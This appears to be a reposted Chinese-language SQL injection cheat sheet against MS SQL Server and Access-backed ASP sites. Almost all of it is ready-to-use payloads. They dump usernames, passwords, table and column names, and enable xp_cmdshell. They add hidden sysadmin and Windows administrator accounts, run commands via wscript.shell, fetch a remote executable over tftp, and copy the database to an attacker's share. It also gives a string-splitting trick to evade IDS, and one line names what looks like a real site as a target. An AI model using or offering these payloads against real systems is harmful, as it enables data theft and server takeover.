  ' union select min(username),1,1,1 from users where username > 'a'- 
  ' union select min(username),1,1,1 from users where username > 'admin'- 
  ' union select password,1,1,1 from users where username = 'admin'-- 
  and user_name()='dbo' 
  and 0<>(select user_name()- 
  ; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net user swap 5245886 /add' 
  and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell') 
  ;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' 
  1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell') 
  and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判斷sa權限是否 
  and 0<>(select top 1 paths from newtable)-- 暴庫大法 
    and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到庫名(從1到5都是系統的id,6以上才可以判斷) 
  創建一個虛擬目錄E盤: 
  declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -w "默認 Web 站點" -v "e","e:/"' 
  訪問屬性:(配合寫入一個webshell) 
  declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:/inetpub/wwwroot/chaccess.vbs -a w3svc/1/ROOT/e +browse' 
  and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
  依次提交 dbid = 7,8,9.... 得到更多的數據庫名 
  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一個表 假設為 admin 
  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 來得到其他的表。 
  and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'and uid>(str(id))) 暴到UID的數值假設為18779569 uid=id 
  and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個admin的一個字段,假設為 user_id 
  and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in('id',...)) 來暴出其他的字段 
  and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用戶名 
  依次可以得到密碼。。。。。假設存在user_id username ,password 等字段 
  Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin 
  Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin 
  (union語句到處風靡啊,access也好用 
  暴庫特殊技巧::%5c='/' 或者把/和/ 修改%5提交 
  and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名 
  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address')) 
  and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判斷id值 
  and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 
 http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));-- 
 http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1 
  ;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test) 
 http://61.131.96.39/PageShow.asp?TianName=政策法規&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";-- 
  得到了web路徑d:/xxxx,接下來: 
 http://xx.xx.xx.xx/111.asp?id=3400;use ku1;-- 
 http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);-- 
  傳統的存在xp_cmdshell的測試過程: 
  ;exec master..xp_cmdshell 'dir' 
  ;exec master.dbo.sp_addlogin hax;-- 
  ;exec master.dbo.sp_password null,hax,hax;-- 
  ;exec master.dbo.sp_addsrvrolemember hax sysadmin;-- 
  ;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';-- 
  exec master..xp_servicecontrol 'start', 'schedule' 
  exec master..xp_servicecontrol 'start', 'server' 
  http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net user swap 5258 /add' 
  ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net localgroup administrators swap/add' 
 http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'- 
  declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/' 
  declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/' 
  ;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目錄bak.dat' 
  如果被限制則可以。 
  select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax') 
  傳統查詢構造: 
  select * FROM news where id=... AND topic=... AND ..... 
  admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>' 
  select 123;-- 
  ;use master;-- 
  :a' or name like 'fff%';-- 顯示有一個叫ffff的用戶哈。 
  'and 1<>(select count(email) from [user]);-- 
  ;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';-- 
  說明: 
  上面的語句是得到數據庫中的第一個用戶表,並把表名放在ffff用戶的郵箱字段中。 
  通過查看ffff的用戶資料可得第一個用表叫ad 
  然后根據表名ad得到這個表的ID 
  ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';-- 
  象下面這樣就可以得到第二個表的名字了 
  ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--< 
BR>  ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';-- 
  ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';-- 
  ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';-- 
  exec master..xp_servicecontrol 'start', 'schedule' 
  exec master..xp_servicecontrol 'start', 'server' 
  sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll' 
  擴展存儲就可以通過一般的方法調用: 
  exec xp_webserver 
  一旦這個擴展存儲執行過,可以這樣刪除它: 
  sp_dropextendedproc 'xp_webserver' 
  insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)- 
  insert into users values( 667,123,123,0xffff)- 
  insert into users values ( 123, 'admin''--', 'password', 0xffff)- 
  ;and user>0 
  ;;and (select count(*) from sysobjects)>0 
  ;;and (select count(*) from mysysobjects)>0 //為access數據庫 
  -----------------------------------------------------------通常注射的一些介紹: 
  A) ID=49 這類注入的參數是數字型,SQL語句原貌大致如下: 
  select * from 表名 where 字段=49 
  注入的參數為ID=49 And [查詢條件],即是生成語句: 
  select * from 表名 where 字段=49 And [查詢條件] 
  (B) Class=連續劇 這類注入的參數是字符型,SQL語句原貌大致概如下: 
  select * from 表名 where 字段='連續劇' 
  注入的參數為Class=連續劇' and [查詢條件] and ''=' ,即是生成語句: 
  select * from 表名 where 字段='連續劇' and [查詢條件] and ''='' 
  (C) 搜索時沒過濾參數的,如keyword=關鍵字,SQL語句原貌大致如下: 
  select * from 表名 where 字段like '%關鍵字%' 
  注入的參數為keyword=' and [查詢條件] and '%25'=', 即是生成語句: 
  select * from 表名 where字段like '%' and [查詢條件] and '%'='%' 
  ;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0 
  sysobjects是SQLServer的系統表,存儲着所有的表名、視圖、約束及其它對象,xtype='U' and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。 
  ;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0 
  從⑤拿到表名后,用object_id('表名')獲取表名對應的內部ID,col_name(表名ID,1)代表該表的第1個字段名,將1換成2,3,4...就可以逐個獲取所猜解表里面的字段名。 
  post.htm內容:主要是方便輸入。 
  枚舉出他的數據表名: 
  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);-- 
  這是將第一個表名更新到aaa的字段處。 
  讀出第一個表,第二個表可以這樣讀出來(在條件后加上 and name<>'剛才得到的表名')。 
  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');-- 
  然后id=1552 and exists(select * from aaa where aaa>5) 
  讀出第二 

表,^^^^^^一個個的讀出,直到沒有為止。 
  讀字段是這樣: 
  id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));-- 
  然后id=1552 and exists(select * from aaa where aaa>5)出錯,得到字段名 
  id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));-- 
  然后id=1552 and exists(select * from aaa where aaa>5)出錯,得到字段名 
  --------------------------------高級技巧: 
  [獲得數據表名][將字段值更新為表名,再想法讀出這個字段的值就可得到表名] 
  update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一個加一個]) [ where 條件] 
  select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…) 
  通過SQLSERVER注入漏洞建數據庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組] 
  [獲得數據表字段名][將字段值更新為字段名,再想法讀出這個字段的值就可得到字段名] 
  update 表名 set 字段=(select top 1 col_name(object_id('要查詢的數據表名'),字段列如:1) [ where 條件] 
  繞過IDS的檢測[使用變量] 
  declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/' 
  declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/' 
  1、 開啟遠程數據庫 
  基本語法 
  select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' ) 
  參數: (1) OLEDB Provider name 
  2


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM